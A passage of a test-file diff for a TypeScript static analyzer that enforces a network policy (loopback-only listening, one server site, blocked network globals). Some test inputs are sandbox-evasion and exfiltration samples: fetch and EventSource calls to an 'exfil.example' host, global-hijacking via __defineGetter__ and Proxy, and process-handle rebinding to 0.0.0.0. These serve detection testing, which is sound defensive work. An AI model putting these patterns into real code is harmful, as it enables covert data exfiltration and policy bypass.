result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_CALL']); + expect(result.findings, source).toHaveLength(1); + } + for (const source of [ + `globalThis.console?.log?.('x');`, + `void globalThis.console;`, + `typeof globalThis.console;`, + `globalThis?.console.log('x');`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + }); + + it('preserves allowed chains, statement-position results and eligible propagation', () => { + for (const source of [ + withServer(`server.listen(4317, '127.0.0.1').close();`), + inListener(`response.setHeader('a', 'b').end('x');`), + withServer(`void server.listen(4317, '127.0.0.1');`), + withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`), + withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(4317, '127.0.0.1'));`), + withServer(`const started = server.listen(4317, '127.0.0.1');\nstarted.close();`), + `globalThis.console.log('x');`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + expect(result.verdict, source).toBe('ALLOW'); + } + }); + + it('establishes SERVER authority on a const alias of a listen result as ALIAS, converging within the derived bound', () => { + const rooted = factsOfConst(withServer(`const leaked = server.listen(4317, '127.0.0.1');\nleaked.close();`), 'leaked'); + expect(rooted.facts).toEqual(['SERVER:ALIAS']); + expect(rooted.result.fixpoint.state).toBe('CONVERGED'); + expect(rooted.result.fixpoint.iterations).toBeLessThanOrEqual(rooted.bound); + expect(rooted.result.fixpoint.bound).toBe(rooted.bound); + expect(rooted.result.verdict, describeFindings(rooted.result)).toBe('ALLOW'); + + const direct = factsOfConst(`${NS}\nconst leaked = http.createServer(${L}).listen(4317, '127.0.0.1');\nleaked.close();`, 'leaked'); + expect(direct.facts).toEqual(['SERVER:ALIAS']); + expect(direct.result.fixpoint.state).toBe('CONVERGED'); + + const chained = factsOfConst(withServer(`const a = server.listen(4317, '127.0.0.1');\nconst b = a.close();\nb.close();`), 'b'); + expect(chained.facts).toEqual(['SERVER:ALIAS']); + expect(chained.result.fixpoint.state).toBe('CONVERGED'); + expect(chained.result.fixpoint.iterations).toBeLessThanOrEqual(chained.bound); + + const viaParam = factsOfConst(withServer(`function setup(s: http.Server) { const t = s.listen(4317, '127.0.0.1'); t.close(); }\nsetup(server);`), 't'); + expect(viaParam.facts).toEqual(['SERVER:PARAM']); + expect(viaParam.result.fixpoint.state).toBe('CONVERGED'); + + const response = factsOfConst(inListener(`const r2 = response.setHeader('a', 'b');\nr2.end();`), 'r2'); + expect(response.facts).toEqual(['RESPONSE:ALIAS']); + }); + + it('does not let optional calls enter the direct-call rule: the existing member policy already denies them', () => { + const optionalCall = inspectNetworkPolicy(withServer(`const x = server.listen?.(1);\nuse(x);`)); + const declaration = collectNodes(optionalCall.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === 'x'); + const symbol = declaration === undefined ? undefined : optionalCall.valueSymbolOf(declaration.name); + expect(symbol && optionalCall.factsOf(symbol)).toEqual([]); + expect(optionalCall.result.reasons).toEqual(['SERVER_MEMBER']); + for (const [source, reason] of [ + [withServer(`server.listen?.(1).on('x', () => {});`), 'SERVER_MEMBER'], + [withServer(`server?.listen(4317, '127.0.0.1').on('x', () => {});`), 'SERVER_MEMBER'], + [inListener(`response.end?.('x').socket;`), 'RESPONSE_MEMBER'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, source).toEqual([reason]); + expect(result.findings, source).toHaveLength(1); + } + }); + + it('keeps computed/indeterminate keys on their existing verdicts without a second finding', () => { + const server = analyzeNetworkPolicy(withServer(`declare const k: string;\nserver[k]().on('x', () => {});`)); + expect(server.reasons).toEqual(['SERVER_MEMBER']); + expect(server.findings).toHaveLength(1); + const global = analyzeNetworkPolicy(`declare const k: string;\nglobalThis[k]().fetch('x');`); + expect(global.reasons).toEqual(['GLOBAL_RECEIVER_RUNTIME_KEY']); + expect(global.findings).toHaveLength(1); + const overLong = analyzeNetworkPolicy(withServer(`server['listenButMuchLongerThanAnyPolicyName']().on('x', () => {});`)); + expect(overLong.reasons).toEqual(['SERVER_MEMBER']); + expect(overLong.findings).toHaveLength(1); + }); + + it('gives user-defined methods no authority unless their receiver already carries it', () => { + for (const source of [ + withServer(`const o = { listen: () => ({ on: (x: string) => x }) };\no.listen().on('x');\nserver.close();`), + inListener(`const box = { end: () => ({ socket: 1 }) };\nbox.end().socket;\nresponse.end();`), + `const self = { valueOf: () => ({ fetch: 1 }) };\nconst v = self.valueOf();\nv.fetch;`, + `${NS}\nfunction other(request: any, response: any) { request.url().socket; response.end().socket; }`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + const carried = analyzeNetworkPolicy(withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1').on('x', () => {}); }\nsetup(server);`)); + expect(carried.reasons).toEqual(['SERVER_MEMBER']); + }); + + it('leaves the existing escape rules effective', () => { + for (const [source, reason] of [ + [withServer(`use(server);`), 'SERVER_ESCAPE'], + [inListener(`const box = { request };`), 'REQUEST_ESCAPE'], + [inListener(`use(response);`), 'RESPONSE_ESCAPE'], + [`const g = globalThis;`, 'GLOBAL_RECEIVER_ESCAPE'], + [`use(self);`, 'GLOBAL_RECEIVER_ESCAPE'], + ] as const) { + expect(analyzeNetworkPolicy(source).reasons, source).toEqual([reason]); + } + }); + + it('evaluates receiver facts once per chain level: long allowed chains stay polynomial, correct and CONVERGED', () => { + // Receiver-call result authority inheritance once recomputed the receiver's + // facts at every level (2^depth evaluations for `server.close().close()...`). + // `inheritingReceiverOf` now computes them exactly once and `expressionFacts` + // consumes that result, so one evaluation is linear in chain depth and + // classifying every nested call node of a depth-n chain is O(n^2) overall. + // The witness is the deterministic evaluation counter, not wall-clock time. + const DEPTHS = [8, 16, 24]; + const chains: Record string> = { + server: (depth) => withServer(`server${'.close()'.repeat(depth)};`), + response: (depth) => inListener(`response${".setHeader('a', 'b')".repeat(depth)};`), + }; + for (const [name, build] of Object.entries(chains)) { + for (const depth of DEPTHS) { + const label = `${name} chain depth ${String(depth)}`; + const inspection = inspectNetworkPolicy(build(depth)); + expect(inspection.result.reasons, label).toEqual([]); + expect(inspection.result.verdict, label).toBe('ALLOW'); + expect(inspection.result.fixpoint.state, label).toBe('CONVERGED'); + expect(inspection.result.fixpoint.iterations, label).toBeLessThanOrEqual(inspection.fixpointBound); + // Polynomial ceiling, and strictly below the exponential floor of per-level re-evaluation. + expect(inspection.expressionFactsEvaluations, label).toBeLessThanOrEqual((depth + 3) ** 2); + expect(inspection.expressionFactsEvaluations, label).toBeLessThan(2 ** depth); + // One more level costs at most a linear number of extra evaluations. + const deeper = inspectNetworkPolicy(build(depth + 1)); + expect(deeper.expressionFactsEvaluations - inspection.expressionFactsEvaluations, label).toBeGreaterThan(0); + expect(deeper.expressionFactsEvaluations - inspection.expressionFactsEvaluations, label).toBeLessThanOrEqual(4 * depth); + // Deterministic: the same source always costs the same number of evaluations. + expect(inspectNetworkPolicy(build(depth)).expressionFactsEvaluations, label).toBe(inspection.expressionFactsEvaluations); + } + } + // Verdict semantics are unchanged at the end of a long chain: one finding, existing reason codes. + const deniedServer = analyzeNetworkPolicy(withServer(`server${'.close()'.repeat(24)}.on('x', () => {});`)); + expect(deniedServer.reasons, describeFindings(deniedServer)).toEqual(['SERVER_MEMBER']); + expect(deniedServer.findings).toHaveLength(1); + expect(deniedServer.fixpoint.state).toBe('CONVERGED'); + const deniedResponse = analyzeNetworkPolicy(inListener(`response${".end('x')".repeat(24)}.socket;`)); + expect(deniedResponse.reasons, describeFindings(deniedResponse)).toEqual(['RESPONSE_MEMBER']); + expect(deniedResponse.findings).toHaveLength(1); + const tail = factsOfConst(withServer(`const tail = server${'.close()'.repeat(24)};\ntail.close();`), 'tail'); + expect(tail.facts).toEqual(['SERVER:ALIAS']); + expect(tail.result.verdict, describeFindings(tail.result)).toBe('ALLOW'); + expect(tail.result.fixpoint.state).toBe('CONVERGED'); + expect(tail.result.fixpoint.iterations).toBeLessThanOrEqual(tail.bound); + // The fixpoint still fail-closes on a chain when the ceiling is reached. + const exhausted = analyzeNetworkPolicy(withServer(`server${'.close()'.repeat(24)};`), { fixpointCeiling: 1 }); + expect(exhausted.fixpoint).toEqual({ state: 'EXHAUSTED', iterations: 1, bound: 1 }); + expect(exhausted.reasons).toEqual(['FIXPOINT_EXHAUSTED']); + // The counter sits at the entry of the single expression-authority lookup. + expect(occurrences(readFileSync(detectorPath, 'utf8'), 'expressionFactsEvaluations += 1')).toBe(1); + }); + + it('is structural: one expression-authority lookup, no member-name special cases', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function expressionFacts(')).toBe(1); + expect(occurrences(detector, 'function inheritingReceiverOf(')).toBe(1); + expect(occurrences(detector, 'function classesOf(')).toBe(1); + expect(occurrences(detector, 'factsOf(ctx, valueSymbolOf(')).toBe(1); + // The invocation check (call, construct, tagged template) is confined to the global-receiver path; target classes keep the direct-call predicate. + expect(occurrences(detector, 'const memberCallOf = ')).toBe(1); + expect(occurrences(detector, 'memberCallOf(parent)')).toBe(1); + expect(occurrences(detector, 'inheritingReceiverOf(ctx, ')).toBe(1); + for (const forbidden of ['valueOf', 'toString', 'receiverPreserving', 'RETURNS_THIS']) { + expect(occurrences(detector, forbidden), forbidden).toBe(0); + } + expect(POLICY_KEY_NAMES).not.toContain('valueOf'); + }); +}); + +// --------------------------------------------------------------------------- +// Loopback listen binding and server instantiation site bound (PR #67 B1 / B2) +// --------------------------------------------------------------------------- + +describe('D3 network policy loopback listen binding (PR #67 B1)', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + const withFactory = (rest: string): string => + `${NS}\nexport function createCockpitServer(): http.Server {\n return http.createServer(${L});\n}\n${rest}`; + + it('denies every non-loopback or indeterminate listen shape on a proven SERVER target with one finding', () => { + for (const source of [ + withServer(`server.listen(4317, '0.0.0.0');`), + withServer(`server.listen(4317, '::');`), + withServer(`server.listen(4317);`), + withServer(`server.listen();`), + withServer(`server.listen(4317, '::1');`), + withServer(`server.listen(4317, 'localhost');`), + withServer(`declare const dynamicHost: string;\nserver.listen(4317, dynamicHost);`), + withServer(`let host = '127.0.0.1';\nserver.listen(4317, host);`), + withServer(`const HOST = '0.0.0.0';\nserver.listen(4317, HOST);`), + withServer(`declare const port: number;\nserver.listen(port, '127.0.0.1');`), + withServer(`server.listen(${String(PORT_MAX + 1)}, '127.0.0.1');`), + withServer(`server.listen('/tmp/cockpit.sock', '127.0.0.1');`), + withServer(`server.listen({ port: 4317, host: '127.0.0.1' });`), + withServer(`declare const args: [number, string];\nserver.listen(...args);`), + withServer(`declare const rest: [() => void];\nserver.listen(4317, '127.0.0.1', ...rest);`), + withServer(`server.listen(4317, '127.0.0.1', 511);`), + withServer(`declare const onUp: () => void;\nserver.listen(4317, '127.0.0.1', onUp);`), + withServer(`server.listen(4317, '127.0.0.1', () => {}, 511);`), + withServer(`server['listen'](4317);`), + withServer(`server.close().listen(4317);`), + `${NS}\nhttp.createServer(${L}).listen(4317);`, + withServer(`function setup(s: http.Server) { s.listen(4317); }\nsetup(server);`), + withFactory(`createCockpitServer().listen(4317);`), + withServer(`const a = server;\na.listen(4317, '0.0.0.0');`), + REAL_HOST_REPLICA.replace(`'127.0.0.1'`, `'0.0.0.0'`), + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['SERVER_LISTEN_BINDING']); + expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(1); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + }); + + it('allows the statically proven loopback shape, including the real host form', () => { + for (const source of [ + withServer(`server.listen(4317, '127.0.0.1');`), + withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`), + withServer(`server.listen(4317, '127.0.0.1', function () { console.log('up'); });`), + withServer(`function onUp() { console.log('up'); }\nserver.listen(4317, '127.0.0.1', onUp);`), + withServer(`const onUp = () => { console.log('up'); };\nserver.listen(4317, '127.0.0.1', onUp);`), + withServer(`export const HOST = '127.0.0.1';\nexport const PORT = 4317;\nserver.listen(PORT, HOST, () => {});`), + withServer('server.listen(4317, `127.0.0.1`);'), + withServer(`server.listen(4317 as number, ('127.0.0.1' as string));`), + withServer(`server['listen'](4317, '127.0.0.1');`), + withServer(`server.listen('4317', '127.0.0.1');`), + withServer(`server.listen(0x10dd, '127.0.0.1');`), + withServer(`server.listen(0, '127.0.0.1');`), + withServer(`server.listen(${String(PORT_MAX)}, '127.0.0.1');`), + withServer(`server.close().listen(4317, '127.0.0.1');`), + withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(server);`), + REAL_HOST_REPLICA, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + expect(result.verdict, source).toBe('ALLOW'); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + }); + + it('is one further positive check after the member policy; a misbound listen result keeps SERVER authority', () => { + expect(analyzeNetworkPolicy(withServer(`server.listen?.(4317);`)).reasons).toEqual(['SERVER_MEMBER']); + const chained = analyzeNetworkPolicy(withServer(`server.listen(4317).on('x', () => {});`)); + expect(chained.reasons, describeFindings(chained)).toEqual(['SERVER_LISTEN_BINDING', 'SERVER_MEMBER']); + expect(chained.findings).toHaveLength(2); + const aliased = inspectNetworkPolicy(withServer(`const started = server.listen(4317);\nstarted.close();`)); + const declaration = collectNodes(aliased.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === 'started'); + const symbol = declaration === undefined ? undefined : aliased.valueSymbolOf(declaration.name); + expect(symbol && aliased.factsOf(symbol)).toEqual(['SERVER:ALIAS']); + expect(aliased.result.reasons).toEqual(['SERVER_LISTEN_BINDING']); + const unprivileged = analyzeNetworkPolicy(`const o = { listen: (port: number) => port };\no.listen(4317);`); + expect(unprivileged.reasons).toEqual([]); + }); + + it('is structural: the loopback host is a positive policy key, not a dangerous-name table', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(LOOPBACK_HOST).toBe('127.0.0.1'); + expect(POLICY_KEY_NAMES).toContain(LOOPBACK_HOST); + expect(STATIC_KEY_CEILING).toBe('createServer'.length); + expect(occurrences(detector, 'function isLoopbackListen(')).toBe(1); + expect(occurrences(detector, "deny(ctx, 'SERVER_LISTEN_BINDING'")).toBe(1); + for (const forbidden of [`'0.0.0.0'`, `'::'`, `'::1'`, 'localhost', 'DANGEROUS', 'WILDCARD']) { + expect(occurrences(detector, forbidden), forbidden).toBe(0); + } + }); +}); + +describe('D3 network policy server instantiation site bound (PR #67 B2)', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + const withFactory = (rest: string): string => + `${NS}\nexport function createCockpitServer(): http.Server {\n return http.createServer(${L});\n}\n${rest}`; + + it('denies a second server-instantiation site outside a confined factory body, one finding per extra site', () => { + for (const [source, extraSites] of [ + [`${NS}\nconst a = http.createServer(${L});\nconst b = http.createServer(${L});\na.close();\nb.close();`, 1], + [`${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, 1], + [`${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});\nhttp.createServer(${L});`, 2], + [withFactory(`const a = createCockpitServer();\nconst b = http.createServer(${L});\na.close();\nb.close();`), 1], + [withFactory(`createCockpitServer().close();\ncreateCockpitServer().close();`), 1], + [`${NS}\nconst make = () => http.createServer(${L});\nconst a = make();\nconst b = make();\na.close();\nb.close();`, 1], + [withFactory(`const first = createCockpitServer();\nconst alias = first;\nconst second = createCockpitServer();\nalias.close();\nsecond.close();`), 1], + [withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => {}); const spare = createCockpitServer(); spare.close(); }\nmain();`), 1], + [`${REAL_HOST_REPLICA}\nhttp.createServer(${L}).close();`, 1], + [`${NS}\nfunction a() { http.createServer(${L}).close(); }\nfunction b() { http.createServer(${L}).close(); }\na();\nb();`, 1], + [`${NS}\nfunction make() { return http.createServer((request, response) => { http.createServer(${L}).close(); response.end('x'); }); }\nmake().close();`, 1], + [withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\nouter().close();`), 1], + [withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\ncreateCockpitServer().close();`), 1], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['CREATE_SERVER_MULTIPLE']); + expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(extraSites); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + // The finding names the later site, in source order. + const two = analyzeNetworkPolicy(`${NS}\nconst a = http.createServer(${L});\nconst b = http.createServer(${L});\na.close();\nb.close();`); + expect(two.findings[0]?.line).toBe(3); + expect(two.findings[0]?.text.startsWith('http.createServer(')).toBe(true); + }); + + it('allows exactly one site: direct, through a confined factory, or with alias-returning factories', () => { + for (const source of [ + withServer(`server.close();`), + withFactory(`createCockpitServer().close();`), + withFactory(`http.createServer(${L}).close();`), + withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().close();`), + `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).close();`, + withFactory(`function outer() { return createCockpitServer(); }\nouter().close();`), + `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`, + REAL_HOST_REPLICA, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + expect(result.verdict, source).toBe('ALLOW'); + } + }); + + it('is a static source-site bound: runtime call multiplicity of one site is outside the declared boundary', () => { + for (const source of [ + `${NS}\nfunction boot() { http.createServer(${L}).close(); }\nboot();\nboot();`, + `${NS}\nfor (let i = 0; i < 2; i += 1) { http.createServer(${L}).close(); }`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + expect(result.reasons, source).not.toContain('CREATE_SERVER_MULTIPLE'); + } + }); + + it('runs after the fixpoint only: exhaustion still fails closed without a site finding', () => { + const result = analyzeNetworkPolicy(`${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, { fixpointCeiling: 1 }); + expect(result.fixpoint.state).toBe('EXHAUSTED'); + expect(result.reasons).toEqual(['FIXPOINT_EXHAUSTED']); + }); + + it('is structural: one site count over the collected calls, no new analysis', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function checkInstantiationSites(')).toBe(1); + expect(occurrences(detector, "deny(ctx, 'CREATE_SERVER_MULTIPLE'")).toBe(1); + expect(occurrences(detector, 'checkInstantiationSites(ctx)')).toBe(1); + expect(occurrences(detector, 'serverFactories')).toBe(0); + expect(occurrences(detector, 'serverCount')).toBe(0); + }); +}); + +// --------------------------------------------------------------------------- +// Codex review closure: EventSource network global, runtime shadows (PR #67) +// --------------------------------------------------------------------------- + +describe('D3 network policy closes the open Codex findings on PR #67', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + + it('P1: EventSource is a network global on the supported runtime, blocked like fetch and WebSocket', () => { + expect([...NETWORK_GLOBAL_NAMES].sort()).toEqual(['EventSource', 'WebSocket', 'fetch']); + expect(STATIC_KEY_CEILING).toBe('createServer'.length); + for (const [source, reason] of [ + [`new EventSource('https://exfil.example/');`, 'FREE_GLOBAL_NETWORK'], + [`const E = EventSource;`, 'FREE_GLOBAL_NETWORK'], + [`new globalThis.EventSource('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`new window['EventSource']('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`const { EventSource: E } = globalThis;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + expect(result.findings, source).toHaveLength(1); + } + for (const source of [`class EventSource {}\nnew EventSource();`, `let es: EventSource | null = null;\nes;`, `const o = { EventSource: 1 };\no.EventSource;`]) { + expect(analyzeNetworkPolicy(source).reasons, source).toEqual([]); + } + }); + + it('P2: a named function expression binds its name inside its own body at runtime', () => { + for (const source of [ + `const f = function fetch() { return fetch; };\nf();`, + `const open = function WebSocket(url: string) { return url ? WebSocket : null; };\nopen('x');`, + `use(function EventSource() { return new EventSource(); });`, + ]) { + expect(analyzeNetworkPolicy(source).reasons, source).toEqual([]); + } + const outside = analyzeNetworkPolicy(`const f = function fetch() { return 1; };\nfetch('x');`); + expect(outside.reasons).toEqual(['FREE_GLOBAL_NETWORK']); + expect(outside.findings).toHaveLength(1); + }); + + it('P2: a private import-equals alias of a value is a runtime binding; an alias of a type stays erased', () => { + for (const source of [ + `import * as Local from './x.js';\nimport fetch = Local.f;\nfetch('x');`, + `namespace Local {\n export const f = (url: string) => url;\n}\nimport fetch = Local.f;\nfetch('x');`, + `import { f } from './x.js';\nimport fetch = f;\nfetch('x');`, + `namespace Local {\n export const f = 1;\n}\nimport g = Local.f;\nimport fetch = g;\nfetch;`, + `namespace Local {\n export const x = 1;\n}\nimport fetch = Local;\nfetch.x;`, + `namespace Local {\n export const f = 1;\n}\nnamespace fetch {\n import f = Local.f;\n export const g = f;\n}\nfetch.g;`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + for (const source of [ + `namespace Local {\n export type f = string;\n}\nimport fetch = Local.f;\nfetch;`, + `import type { f } from './x.js';\nimport fetch = f;\nfetch;`, + `namespace Local {\n export type T = string;\n}\nimport fetch = Local;\nfetch;`, + `namespace Local {\n export type T = string;\n}\nnamespace fetch {\n import T = Local.T;\n}\nfetch;`, + `import type fetch = require('./local.js');\nfetch('x');`, + `import fetch = fetch;\nfetch;`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['FREE_GLOBAL_NETWORK']); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + }); + + it('P1 (already structural): fluent privileged results, valueOf laundering and the server bound stay denied', () => { + const fluent = analyzeNetworkPolicy(withServer(`export const leaked = server.listen(4317, '127.0.0.1');\nleaked.on('connection', (socket) => { socket.write('x'); });`)); + // The export is the denial; an exported binding is unconfined and carries no further authority to check. + expect(fluent.reasons, describeFindings(fluent)).toEqual(['SERVER_EXPORT']); + const fluentResponse = analyzeNetworkPolicy(`${NS}\nhttp.createServer((request, response) => { response.setHeader('a', 'b').socket; });`); + expect(fluentResponse.reasons, describeFindings(fluentResponse)).toEqual(['RESPONSE_MEMBER']); + const laundered = analyzeNetworkPolicy(`const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`); + expect(laundered.reasons, describeFindings(laundered)).toEqual(['GLOBAL_RECEIVER_CALL']); + const twice = analyzeNetworkPolicy(`${NS}\nfunction make() { return http.createServer(${L}); }\nconst a = make();\nconst b = make();\na.listen(4317, '127.0.0.1');\nb.listen(4318, '0.0.0.0');`); + expect(twice.reasons, describeFindings(twice)).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']); + }); + + it('P1: writes to permitted global members are denied, reads of them stay allowed', () => { + for (const source of [ + `(globalThis.String as any) = (value: unknown) => value;`, + `globalThis.String = String;`, + `(globalThis as any).String = 1;`, + `window.String = String;`, + `globalThis.globalThis.String = String;`, + `delete (globalThis as any).String;`, + `(globalThis as any).String += 1;`, + `(globalThis as any).String++;`, + `[(globalThis as any).String] = [1];`, + `({ x: (globalThis as any).String } = { x: 1 });`, + `for ((globalThis as any).String of [1]) {}`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source} +${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_WRITE']); + expect(result.findings, source).toHaveLength(1); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + // Codex witness: the write is denied on its own, and `response.end(String(1))` is unproven regardless. + const witness = analyzeNetworkPolicy( + `${NS} +(globalThis.String as any) = () => new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } }); +http.createServer((request, response) => { response.end(String(1)); });`, + ); + expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_WRITE', 'RESPONSE_END_ARGUMENT']); + for (const source of [ + `String(1);`, + `globalThis.String.length;`, + `typeof globalThis.String;`, + `const n = globalThis.String.length; +n;`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source} +${describeFindings(result)}`).toEqual([]); + } + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, "deny(ctx, 'GLOBAL_RECEIVER_WRITE'")).toBe(1); + }); + + it('P1: the process global has one permitted runtime use, process.argv[]; every other use is denied', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + for (const source of [ + // Codex witness: handle introspection recovers the listening server and rebinds it off loopback. + withServer( + `server.listen(4317, '127.0.0.1', () => {\n const [handle] = (process as any)._getActiveHandles();\n handle.close(() => handle.listen(4318, '0.0.0.0'));\n});`, + ), + `(process as any)._getActiveHandles();`, + `process.getBuiltinModule('http');`, + `(process as any).binding('http');`, + `process.cwd();`, + `process.env.HOME;`, + `process.exit(1);`, + `process.on('exit', () => {});`, + `process.argv;`, + `process.argv.length;`, + `process.argv.slice(2);`, + `const args = process.argv;\nargs;`, + `const [, entry] = process.argv;\nentry;`, + `const { argv } = process;\nargv;`, + `process.argv[1] = 'x';`, + `process.argv = [];`, + `declare const i: number;\nprocess.argv[i];`, + `use(process);`, + `const p = process;\np.argv[1];`, + `[process].length;`, + `globalThis.process._getActiveHandles();`, + `globalThis.process.cwd();`, + `(globalThis as any)['process'].binding('http');`, + `window.process.argv;`, + `const { process: p } = globalThis;\np.argv[1];`, + `let p: unknown;\n({ process: p } = globalThis);\np;`, + `const { process } = globalThis;\nprocess.argv[1];`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['PROCESS_GLOBAL_USE']); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + for (const source of [ + `process.argv[1];`, + `const entryArgument = process.argv[1];\nentryArgument;`, + `(process as any).argv[1];`, + `process['argv'][1];`, + `process.argv['1'];`, + `process['arg' + 'v'][1];`, + `globalThis.process.argv[1];`, + `typeof process;`, + `process;`, + `void process;`, + `function main(process: { cwd(): string }) { return process.cwd(); }\nmain;`, + `const process = { argv: ['x'] };\nprocess.argv.slice(0);`, + REAL_HOST_REPLICA, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + // One positive shape check, no per-method table: the detector never names a process method. + expect(POLICY_KEY_NAMES).toContain('process'); + expect(POLICY_KEY_NAMES).toContain('argv'); + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function checkProcessUse(')).toBe(1); + expect(occurrences(detector, 'checkProcessUse(ctx, ')).toBe(2); + for (const forbidden of ['_getActiveHandles', 'getBuiltinModule', 'binding', 'cwd', 'env']) { + expect(occurrences(detector, `'${forbidden}'`), forbidden).toBe(0); + } + }); + + it('P1: a member of a global receiver is never invoked: mutator, generator, construct and tagged-template forms alike', () => { + for (const source of [ + `(globalThis as any).__defineGetter__('String', () => (value: unknown) => value);`, + `(globalThis as any).__defineSetter__('String', () => {});`, + `(globalThis as any)['__define' + 'Getter__']('String', () => 1);`, + `(globalThis.globalThis as any).__defineGetter__('String', () => 1);`, + `(window as any).__defineGetter__('fetch', () => 1);`, + `(self as any).__defineGetter__?.('String', () => 1);`, + `(global as any)?.__defineGetter__('String', () => 1);`, + `globalThis.eval('String = 1');`, + `globalThis.Function('return String')();`, + `new (globalThis as any).Proxy({}, {});`, + `globalThis.String\`x\`;`, + `globalThis.String(1);`, + `globalThis.valueOf();`, + `void globalThis.valueOf();`, + `typeof globalThis.String(1);`, + `const s = globalThis.String(1);\ns;`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_CALL']); + expect(result.findings, source).toHaveLength(1); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + // Codex witness: the mutator call is denied on its own, and `response.end(String(1))` is unproven regardless. + const witness = analyzeNetworkPolicy( + `${NS}\n(globalThis as any).__defineGetter__('String', () => () => new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } }));\nhttp.createServer((request, response) => { response.end(String(1)); });`, + ); + expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_CALL', 'RESPONSE_END_ARGUMENT']); + // The same family through a free mutator: the receiver forwarded as an argument is already an escape. + for (const source of [ + `Object.defineProperty(globalThis, 'String', { value: 1 });`, + `Reflect.set(window, 'String', 1);`, + `Object.assign(self, { String: 1 });`, + `(Object.prototype as any).__defineGetter__.call(globalThis, 'String', () => 1);`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_ESCAPE']); + } + // Free-global calls go through no receiver; reads of permitted members stay permitted. + for (const source of [ + `String(1);`, + `Number('1');`, + 